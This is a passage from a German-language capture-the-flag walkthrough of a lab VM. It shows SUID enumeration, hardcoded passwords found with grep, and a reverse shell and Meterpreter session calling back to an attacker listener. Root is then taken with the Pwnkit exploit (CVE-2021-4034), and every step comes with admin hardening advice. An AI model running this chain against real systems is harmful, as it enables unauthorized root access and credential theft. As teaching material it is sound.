1589334 24 -rwsr-xr-x 1 root root 23376 Mar 27 2019 /usr/bin/pkexec
1582720 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 15 2016 /usr/bin/at
1573745 56 -rwsr-xr-x 1 root root 54256 May 17 2017 /usr/bin/passwd
131147 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
131148 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
131287 40 -rwsr-xr-x 1 root root 40128 May 17 2017 /bin/su
131293 28 -rwsr-xr-x 1 root root 27608 Dec 16 2016 /bin/umount
137919 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
131292 40 -rwsr-xr-x 1 root root 40152 Dec 16 2016 /bin/mount
**Analyse:** Der `find`-Befehl sucht nach SUID-Binärdateien im gesamten Dateisystem. Die Ausgabe zeigt eine Liste von Standard-SUID-Programmen unter Linux/Ubuntu. Erneut fällt `/usr/bin/pkexec` auf (datiert auf März 2019), was potenziell für Pwnkit (CVE-2021-4034) anfällig sein könnte, obwohl der Exploit erst 2021 veröffentlicht wurde. Die Version des Pakets ist entscheidend. Auch `/usr/bin/sudo` ist vorhanden.
**Bewertung:** Die SUID-Liste bietet mehrere potenzielle Angriffspunkte. `pkexec` ist wieder der Hauptverdächtige für eine einfache Root-Eskalation. `sudo` sollte mit `sudo -l` überprüft werden. Andere Binaries wie `lxc-user-nic` oder `snap-confine` können ebenfalls ausnutzbar sein, sind aber oft komplexer.
**Empfehlung (Pentester):** `pkexec` auf die Pwnkit-Schwachstelle prüfen (z.B. mit Metasploit Suggester oder manuellen Checks). `sudo -l` ausführen. GTFOBins für andere interessante SUID-Binaries konsultieren.
**Empfehlung (Admin):** Anzahl der SUID-Binaries minimieren. Systeme patchen (insbesondere Polkit für Pwnkit). `sudo`-Regeln restriktiv gestalten.
/var/www/html/admin_area/index.php:9: password : 3v1l_H@ck3r //technawi:3v1l_H@ck3r <-- passwort gefunden /var/www/html/check_login.php:5:if($username =="admin" && $password=="3v1l_H@ck3r")
**Analyse:** Mit `grep` wird rekursiv (`-r`) und ohne Beachtung von Groß-/Kleinschreibung (`-i`) nach dem Wort "password" im Verzeichnis `/var` gesucht. Zeilennummern (`-n`) werden angezeigt. Fehler (`2>/dev/null`) werden unterdrückt. Die Ausgabe findet zwei Vorkommen: 1. In `admin_area/index.php`: Ein Kommentar enthält `password : 3v1l_H@ck3r` und direkt dahinter `//technawi:3v1l_H@ck3r <-- passwort gefunden`. Dies ist ein extrem starker Hinweis auf das Passwort des Benutzers `technawi`. 2. In `check_login.php`: Das bereits bekannte hartcodierte Passwort für `admin`.
**Bewertung:** Jackpot! Der `grep`-Befehl hat das Passwort für den Benutzer `technawi` aufgedeckt, das in einem Kommentar versteckt war: `3v1l_H@ck3r`. Dies passt perfekt zum Hinweis aus `hint.txt`. Damit sollte es möglich sein, sich als `technawi` (z.B. via SSH) anzumelden oder mit `su` den Benutzer zu wechseln und die `flag.txt` zu lesen.
**Empfehlung (Pentester):** Das Passwort `technawi:3v1l_H@ck3r` sofort via SSH testen oder `su technawi` in der aktuellen Shell versuchen.
**Empfehlung (Admin):** Passwörter *niemals* in Quellcode oder Kommentaren speichern! Entwickler schulen. Regelmäßige Code-Audits und Scans nach hartcodierten Credentials durchführen. Diese Datei (`admin_area/index.php`) sofort bereinigen.
**Analyse:** Anstatt sich direkt als `technawi` anzumelden, wird die bestehende `www-data`-Shell zu einer Metasploit-Sitzung und dann zu Meterpreter aufgewertet, wahrscheinlich um die Pwnkit-Privilege-Escalation durchzuführen, die direkt zu Root führt.
[*] Using configured payload generic/shell_reverse_tcp
LHST => 192.168.2.105
LPORT => 5556
[*] Started reverse TCP handler on 192.168.2.105:5556
[*] Command shell session 1 opened (192.168.2.105:5556 -> 192.168.2.134:57930) at 2023-07-12 23:54:54 +0200
Shell Banner:
_[?1034hsh-4.2$
--
sh-4.2$
**Analyse:** Ein `multi/handler` wird in Metasploit auf Port 5556 gestartet. Von der `www-data`-Shell wird ein Python3-Einzeiler für eine Reverse Shell zu diesem Listener ausgeführt. Metasploit empfängt die Verbindung und öffnet Session 1.
**Bewertung:** Erfolgreicher Wechsel zu einer von Metasploit verwalteten Shell. Diesmal wird `python3` verwendet, das auf diesem System verfügbar ist.
**Empfehlung (Pentester):** Die neue Session nutzen und zu Meterpreter upgraden.
**Empfehlung (Admin):** Egress-Filtering, Monitoring.
session => 1
HANDLER => true
LHST => 192.168.2.105
LPORT => 4433
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.105:4433
[*] Sending stage (1017704 bytes) to 192.168.2.134
[*] Meterpreter session 2 opened (192.168.2.105:4433 -> 192.168.2.134:48972) at 2023-07-12 16:52:35 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
**Analyse:** Das `shell_to_meterpreter`-Modul wird auf Session 1 angewendet. Es startet einen neuen Listener auf Port 4433 und lädt den Meterpreter-Stager über die bestehende Shell hoch. Eine neue Meterpreter-Sitzung (Session 2) wird erfolgreich geöffnet.
**Bewertung:** Erfolgreiches Upgrade zu Meterpreter als Benutzer `www-data`. Dies erleichtert die weitere Ausnutzung, insbesondere die Anwendung des Pwnkit-Exploits.
**Empfehlung (Pentester):** Die Meterpreter-Sitzung 2 nutzen, um den Pwnkit-Exploit auszuführen.
**Empfehlung (Admin):** HIDS/EDR für Meterpreter-Erkennung, Egress-Filtering.
**Analyse:** Ausführung des Pwnkit-Exploits (CVE-2021-4034) über die Meterpreter-Sitzung 2, um Root-Rechte zu erlangen.
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
# Options output (similar to previous example, showing SESSION, LHOST, LPORT)
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):
Name Current Setting Required Description
---- --------------- -------- -----------
PKEXEC_PATH no The path to pkexec binary
SESSION yes The session to run this module on
WRITABLE_DIR /tmp yes A directory where we can write files
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.2.105 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 x86_64
LHST => 192.168.2.105
LPORT => 4444
session => 2
[*] Started reverse TCP handler on 192.168.2.105:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.ozhkft
[+] The target is vulnerable.
[*] Writing '/tmp/.lgdzulq/lartaj/lartaj.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.lgdzulq
[*] Sending stage (3045348 bytes) to 192.168.2.134
[+] Deleted /tmp/.lgdzulq/lartaj/lartaj.so
[+] Deleted /tmp/.lgdzulq/.mvaeyvlrr
[+] Deleted /tmp/.lgdzulq
[*] Meterpreter session 3 opened (192.168.2.105:4444 -> 192.168.2.134:40826) at 2023-07-12 16:54:05 +0200
**Analyse:** Das Metasploit-Modul für Pwnkit wird geladen und konfiguriert. Es wird auf Session 2 (Meterpreter als `www-data`) angewendet. Ein neuer Listener wird auf Port 4444 gestartet, um die Root-Meterpreter-Sitzung zu empfangen. Der Exploit wird ausgeführt, lädt Komponenten nach `/tmp` hoch, nutzt die `pkexec`-Schwachstelle und startet einen Meterpreter-Payload als Root, der sich zurückverbindet. Metasploit meldet Erfolg: "Meterpreter session 3 opened".
**Bewertung:** Die Privilege Escalation mittels Pwnkit war erfolgreich. Die Schritte sind analog zum vorherigen Bericht, was die Zuverlässigkeit dieses Exploits auf anfälligen Systemen unterstreicht.
**Empfehlung (Pentester):** Zur neuen Meterpreter-Sitzung 3 wechseln (`sessions -i 3`) und die Root-Rechte (`getuid`) bestätigen.
**Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034). Überwachung von `/tmp` und verdächtigen `pkexec`-Aufrufen.
Process 420 created.
Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# Keine relevante Ausgabe für Flags hier, sucht nach .txt Dateien von root
/etc/mysql/conf.d/credentials.txt
The 4th flag is : {7845658974123568974185412} username : technawi password : 3vilH@ksor
**Analyse:** Innerhalb der Meterpreter-Sitzung 3 wird eine Root-Shell geöffnet (`shell`). * `id`: Bestätigt `uid=0(root)`. Der Root-Benutzer ist auch Mitglied der `www-data`-Gruppe. * `find / -user root | grep ".txt" 2>/dev/null`: Sucht nach `.txt`-Dateien, die `root` gehören (dieser Befehl ist nicht sehr zielführend für Flags). * `find / -name 'credentials.txt'`: Sucht gezielt nach einer Datei namens `credentials.txt`. Sie wird in `/etc/mysql/conf.d/` gefunden. * `cat /etc/mysql/conf.d/credentials.txt`: Zeigt den Inhalt der Datei an. Sie enthält die **vierte Flagge** und erneut Zugangsdaten für `technawi`, diesmal aber mit einem leicht anderen Passwort: `technawi:3vilH@ksor` (statt `3v1l_H@ck3r` aus dem Kommentar).
**Bewertung:** Root-Zugriff bestätigt! Die vierte Flagge wurde in einer MySQL-Konfigurationsdatei gefunden. Interessanterweise wird hier ein anderes Passwort für `technawi` (`3vilH@ksor`) genannt als das zuvor in einem Kommentar gefundene (`3v1l_H@ck3r`). Dies könnte auf eine Änderung während der VM-Erstellung hindeuten oder darauf, dass das Passwort aus dem Kommentar veraltet oder falsch war. Das Passwort `3vilH@ksor` ist wahrscheinlich das korrekte/aktuelle für den SSH-Login oder `su`.
**Empfehlung (Pentester):** Vierte Flagge notieren. Das Passwort `technawi:3vilH@ksor` für SSH/su verwenden, falls der Zugriff auf `flag.txt` noch benötigt wird (obwohl wir jetzt Root sind). Nach der fünften Flagge suchen.
**Empfehlung (Admin):** Passwörter niemals im Klartext in Konfigurationsdateien speichern! Datenbank-Credentials sollten sicher verwaltet werden (z.B. über Umgebungsvariablen, Secrets Management Tools oder verschlüsselte Konfigurationsabschnitte). Die Datei `/etc/mysql/conf.d/credentials.txt` sofort bereinigen und die Zugangsdaten ändern.
cat: flag: Is a directory
ls: cannot access 'l-a': No such file or directory
total 60
drwxr-xr-x 8 www-data www-data 4096 Apr 21 2017 .
drwxr-xr-x 3 www-data www-data 4096 Apr 18 2017 ..
drwxrwxr-x 2 www-data www-data 4096 Apr 21 2017 admin_area
drwx------ 5 www-data www-data 4096 Apr 19 2017 assets
-rw-r--r-- 1 www-data www-data 306 Apr 19 2017 check_login.php
drwx------ 2 www-data www-data 4096 Apr 19 2017 css
drwxr-xr-x 2 www-data www-data 4096 Apr 21 2017 flag
-rw-r----- 1 technawi technawi 132 Apr 21 2017 flag.txt
-rw-r--r-- 1 www-data www-data 145 Apr 21 2017 hint.txt
-rw-rw-r-- 1 www-data www-data 1966 Apr 19 2017 index.php
drwx------ 2 www-data www-data 4096 Apr 19 2017 js
-rw-rw-r-- 1 www-data www-data 1485 Apr 19 2017 login.php
-rw-r--r-- 1 www-data www-data 128 Apr 19 2017 logout.php
-rw-rw-r-- 1 www-data www-data 160 Apr 19 2017 robots.txt
drwxrwxr-x 2 www-data www-data 4096 Jul 12 17:31 uploaded_files
The 5th flag is : {5473215946785213456975249}
Good job :)
You find 5 flags and got their points and finish the first scenario....
**Analyse:** Zurück im Web-Root-Verzeichnis `/var/www/html` wird versucht, `flag` zu lesen, was ein Verzeichnis ist. Nach Korrektur des `ls`-Befehls wird der Inhalt erneut angezeigt. Nun wird `flag.txt` mit `cat` gelesen. Da die Shell jetzt als `root` läuft, ist der Lesezugriff erfolgreich. Die Datei enthält die **fünfte Flagge**.
**Bewertung:** Alle fünf Flags wurden gefunden. Die letzte Flagge befand sich wie im Hinweis beschrieben in `flag.txt`, lesbar für `technawi` oder `root`. Der Weg über `www-data` RCE und anschließende Pwnkit-Eskalation zu `root` war erfolgreich.
**Empfehlung (Pentester):** Alle Flags notieren und den Bericht abschließen.
**Empfehlung (Admin):** Die gesamte Kette der Schwachstellen beheben: Unsichere File Uploads, RCE-Möglichkeit, Preisgabe von Flags und Passwörtern in Kommentaren/Dateien, veraltete Software (Apache, Polkit), unzureichende Zugriffskontrollen.